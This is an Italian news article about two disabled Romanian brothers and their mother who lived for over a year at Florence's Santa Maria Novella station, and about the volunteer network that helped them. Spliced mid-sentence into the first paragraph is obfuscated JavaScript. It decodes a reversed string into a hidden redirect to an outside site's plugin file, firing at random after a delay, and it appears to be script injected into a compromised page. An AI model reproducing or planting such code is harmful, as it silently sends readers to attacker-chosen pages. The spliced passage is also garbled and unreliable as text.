Una storia di ordinario abbandono

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Quella di Marian e Viorel è una brutta storia. È la storia di una madre lasciata sola ad occuparsi di due figli disabili ai margini del binario 16 della stazione di Santa Maria Novella, la storia dell’indifferenza e dell’inadeguatezza delle istituzioni nell’affrontare una crisi sociale sempre più evidente. Ma è anche la storia di una rete di solidarietà che ha permesso a questa famiglia di sopravvivere prima, e che sta cerc (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando adesso di dare loro una vita degna di esseri umani, che è riuscita a smuovere le acque tanto da sistemarli, dopo un anno e tre mesi, presso l’Opera di Don Orione, convenzionata con il Comune.
È andata avanti per più di un anno, questa storia: Marian di 28 anni, e Viorel di 21 arrivarono a Firenze dalla Romania con la madre, che li aveva portati qui nella speranza di dare loro una vita migliore. Invece rimasero lì, alla stazione, a dormire su giacigli improvvisati, a mangiare quello che la solidarietà di pochi offriva, insieme ai medicinali di cui i due fratelli hanno bisogno ogni giorno. Con il tempo quell’angolo di città divenne la loro casa, con “letti”, fornellini, pentole per cucinare, e perfino una piccola gabbia con due criceti. I due fratelli non possono camminare e soffrono di patologie progressive. All’inizio si spostavano sui carrelli per i bagagli, e riuscivano a tirare avanti con l’aiuto degli agenti della Polfer, dei volontari, di tutti coloro che si sono appassionati a questa storia, e che un giorno portarono a Marian e Viorel due sedie a rotelle per potersi muovere da soli. Poi, il 2 settembre scorso, mentre erano in bagno, un mezzo del Quadrifoglio, accompagnato dalla Polizia Municipale, portò via le due carrozzine e molte delle loro cose.
Solo due settimane più tardi, alla vigilia di una conferenza stampa indetta dall’Associazione Aurora e da Don Alessandro Santoro per denunciare questa grave situazione di degrado, il Comune ha provveduto a fornire altre carrozzine ai due fratelli. Un’operazione che ha riparato ad un’ingiustizia clamorosa, ma che certo non bastava a dare dignità alla vita di quella famiglia. Il polverone alzato dalla stampa e la catena di solidarietà nata in questi mesi hanno permesso di andare oltre e Marian e Viorel sono stati accolti, insieme alla madre, presso l’Opera di Don Orione.
Storia a lieto fine? La situazione purtroppo resta drammatica. La famiglia continua a vivere della solidarietà altrui, non solo per mangiare ma anche per medicine sempre più necessarie. Nessuno di loro ha il permesso di soggiorno e quindi non possono essere curati, se non nell’emergenza, delle loro gravi patologie, che in questo modo vengono lasciate progredire. Il padre, rimasto in Romania, non può raggiungere la famiglia per aiutare la madre, anch’essa malata, nella cura dei due figli disabili. E la sistemazione nel residence non è definitiva: a dicembre, forse a gennaio, saranno di nuovo senza un tetto.

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